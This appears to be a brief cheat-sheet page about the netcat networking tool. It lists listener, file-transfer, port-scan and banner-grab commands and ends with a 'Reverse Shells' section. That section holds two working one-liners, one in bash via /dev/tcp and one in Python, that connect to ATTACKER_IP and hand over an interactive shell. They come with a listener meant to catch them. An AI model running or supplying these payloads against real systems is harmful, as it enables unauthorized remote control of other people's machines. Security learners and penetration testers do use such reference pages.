Tools & Utility

Netcat

The Swiss Army knife of networking - a versatile tool for reading and writing data across network connections.

#netcat#networking#shells#reverse-shell

Netcat: The Swiss Army Knife of Networking

Netcat (nc) is a versatile networking utility for reading/writing data across TCP and UDP connections.

Common Uses

bash
# Listener (Reverse Shell)
nc -lvnp 4444

Connect to a target

nc 192.168.1.1 4444

File Transfer (Sender)

nc 192.168.1.1 4444 < file.txt

File Transfer (Receiver)

nc -lvnp 4444 > file.txt

Port Scanning

nc -zv 192.168.1.1 1-1000

Banner Grabbing

nc -v 192.168.1.1 80

Reverse Shells

bash
# Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Python

python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'